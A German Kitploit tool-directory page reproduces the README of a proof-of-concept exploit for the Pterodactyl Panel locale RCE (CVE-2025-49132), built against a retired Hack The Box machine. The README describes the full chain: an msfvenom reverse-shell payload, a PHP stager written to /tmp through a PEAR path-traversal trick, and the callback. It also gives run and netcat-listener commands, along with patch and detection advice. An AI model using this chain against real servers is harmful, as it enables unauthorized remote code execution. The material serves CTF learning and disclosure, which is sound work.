Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HTB-Pterodactyl-RCE-CVE-2025-49132 — Dieses Repo enthält einen RCE-Exploit für die Pterodactyl-HTB-Maschine. | Kitploit
Tools/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

Dieses Repo enthält einen RCE-Exploit für die Pterodactyl-HTB-Maschine.

Repository anzeigen
12vor 6 MonatenNoch nicht geprüft
Teilen

Pterodactyl Panel Locale RCE (CVE-2025-49132) — Bildungs-PoC

scope cve python license

Nur für autorisierte Tests und defensive Lernzwecke.
Dieses Repository ist für kontrollierte Laborumgebungen (z.B. CTF/HTB-ähnliche Setups) vorgesehen, in denen Sie Eigentümer des Ziels sind oder eine ausdrückliche schriftliche Genehmigung zum Testen haben.

Kontext

Dieses Repository enthält einen pädagogischen Python-Proof-of-Concept (pterodactyl_rce.py) für eine echte Sicherheitslücke, die Pterodactyl Panel Versionen vor v1.11.11 betrifft. Unter anfälligen Konfigurationen kann ein nicht authentifizierter Angreifer über den Endpunkt /locales/locale.json aufgrund unsachgemäßer Handhabung der Parameter locale und eine erreichen.

namespace
Remote Code Execution

Diese PoC-Variante zielt auf Umgebungen ab, in denen PHP-PEAR installiert ist, und wurde gegen die inzwischen ausgemusterte Hack The Box-Maschine Pterodactyl erstellt und validiert: https://app.hackthebox.com/machines/Pterodactyl. Sie kann auch in anderen Laborumgebungen funktionieren, in denen die gleichen Bedingungen erfüllt sind.

Schwachstellenreferenz

  • GitHub Advisory: GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • Betroffen: Pterodactyl Panel < 1.11.11
  • Behoben in: v1.11.11 (Patch-Commit 24c82b0…)

Grundlegende Idee (wie der PoC funktioniert)

Auf hoher Ebene verkettet der PoC diese Schritte:

  1. Generiert ein Linux x64 Reverse-TCP-ELF-Payload mit msfvenom.
  2. Serviert dieses ELF über einen HTTP-Server (eine Anfrage, dann beendet er sich).
  3. Missbraucht die anfällige Verarbeitung von /locales/locale.json, um einen PHP-„Stager“ in /tmp zu schreiben (über einen PEAR pearcmd config-create-Trick).
  4. Löst den Stager über den Locales-Endpunkt aus, sodass dieser:
    • das ELF in /tmp herunterlädt,
    • es ausführbar macht,
    • es ausführt, um eine Verbindung zu Ihrem Listener herzustellen.

Das Skript verwendet für den „Upload“-Schritt einen rohen HTTP-Client anstelle von curl, da einige Tools Zeichen normalisieren oder kodieren und so die konstruierte Anfrage zerstören könnten.

Hinweis: Diese README bleibt bewusst auf einem defensiven/lehrreichen Niveau. Verwenden Sie den Code nur in Umgebungen, die Sie testen dürfen.


Voraussetzungen (lokal)

  • Python 3.10+ (getestet nur mit der Standardbibliothek)
  • msfvenom im $PATH verfügbar (Metasploit Framework)
  • nc (netcat), falls der PoC einen automatischen Listener starten soll
  • Netzwerkzugriff zwischen Ihrer Labormaschine und Ihrer Pterodactyl-Instanz im Labor

Konfiguration

Das Skript erwartet derzeit einen Panel-HTB-Hostnamen im Quellcode:

root@kitploit:~
host = "panel.pterodactyl.htb"

Zusätzlich ist der hartcodierte Pfad zu PHP-PEAR auf ../../../../../usr/share/php/PEAR gesetzt. Wenn Sie dies außerhalb der Pterodactyl-Box testen, müssen Sie diesen Pfad entsprechend Ihrer lokalen Konfiguration anpassen.


Verwendung (nur kontrolliertes Labor)

1) Basisausführung (Auto-Listener aktiviert)

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST>: Ihre Rückruf-IP, die vom Laborserver erreichbar ist
  • <LPORT>: Port zum Empfangen der Reverse-Shell

2) Ausführung ohne Auto-Listener

Wenn Sie lieber einen eigenen Listener betreiben möchten:

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

Dann in einem anderen Terminal:

root@kitploit:~
nc -lvnp <LPORT>

Beispiel (Platzhalter)

root@kitploit:~
python3 pterodactyl_rce.py 10.10.14.225 5555

Ausgabe / Was zu erwarten ist

Typischer Ablauf:

  • Generiert ein ELF-Payload (zufälliger Dateiname wie shell_ab12cd34)
  • Startet einen One-Shot-HTTP-Server auf :8080
  • Erstellt einen PHP-Stager unter /tmp/<zufall>.php
  • Löst den Stager aus
  • Entfernt die lokale ELF-Datei nach dem Auslösen
  • Zeigt einen Tipp zum Upgrade Ihrer Shell (PTY)

Screenshot der erfolgreichen Ausnutzung

Reverse-Shell


Bekannte Probleme / Laborhinweise

  • Laborinstabilität: Die Ziel-Box/das Zielservice kann instabil sein (Timeouts, gelegentliche 5xx-Fehler, verzögerte Ausführung). Falls ein Lauf fehlschlägt, wiederholen Sie ihn nach einer kurzen Pause.
  • Wiederverwendung alter Payloads: Die Umgebung kann manchmal eine ältere hochgeladene/gestagte Datei auslösen. Das Skript bereinigt nur eine lokale Datei auf der Angreiferbox, berührt jedoch keine Dateien im /tmp/-Ordner auf der Maschine.
    Workarounds:
    • Führen Sie das Skript mit einem neuen zufälligen Payload-Namen erneut aus (Standardverhalten in diesem Skript).
    • Ändern Sie den anfänglichen Port des HTTP-Servers von 8080 auf einen anderen Port.
    • Ändern Sie Ihren Listener-Port (z.B. 4444 → 5555) und generieren Sie das Payload neu.
    • Stellen Sie sicher, dass Ihr HTTP-Server die aktuelle Datei ausliefert (stoppen Sie vorherige Server/Listener).
    • Wenn Sie Zugriff haben, entfernen Sie alte /tmp/<name>.php-Artefakte auf dem Ziel manuell; warten Sie andernfalls eine Weile und wiederholen Sie den Vorgang.

Defensive Anleitung (was zu beheben / wie zu erkennen ist)

Patch / Abhilfe

  • Upgrade auf Pterodactyl Panel v1.11.11 oder höher.
  • Es gibt keine In-App-Umgehung außer dem Patchen; Sie können den Endpunkt /locales/locale.json auf Webserver-Ebene blockieren, aber dies könnte Lokalisierungsfunktionen beeinträchtigen.

Erkennungsideen

Achten Sie auf verdächtige Anfragen wie:

  • Anfragen an /locales/locale.json mit ungewöhnlichen locale=-Traversierungssequenzen
  • Seltsame namespace=-Werte (unerwartete Namen, lange Zeichenketten, seltsame Zeichen)
  • Plötzliche Erstellung unerwarteter Dateien in /tmp/ auf dem Panel-Host

Korrelieren Sie Weblogs mit:

  • neuen Prozessen, die vom www-/PHP-FPM-Benutzer gestartet wurden
  • ausgehenden Verbindungen zu ungewöhnlichen Zielen/Ports
  • unerwarteter Verwendung von curl/wget auf dem Panel-Host

Hinweise zur verantwortungsvollen Nutzung

  • Scannen oder testen Sie keine öffentlichen Instanzen.
  • Wenn Sie Betreiber einer anfälligen Instanz sind, behandeln Sie dies als kritisch und patchen Sie sofort.

Danksagungen / Dank

  • Original-PoC: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) von Zen-kun04
    https://www.exploit-db.com/exploits/52341
  • Melder / Entdeckungsgutschrift: Die GitHub-Advisory schreibt @azimoff337 die Meldung von GHSA-24wv-6c99-f843 / CVE-2025-49132 zu.
  • GitHub Advisory Database / CVE-Prozess: für das Verfolgen und Veröffentlichen der Schwachstellendetails.
  • Hack The Box (HTB): Dieser PoC wurde in einer kontrollierten HTB-ähnlichen Laborumgebung für Lern- und Defensivforschung erstellt/validiert.
    Keine Spoiler für aktive HTB-Inhalte.
Tool herunterladen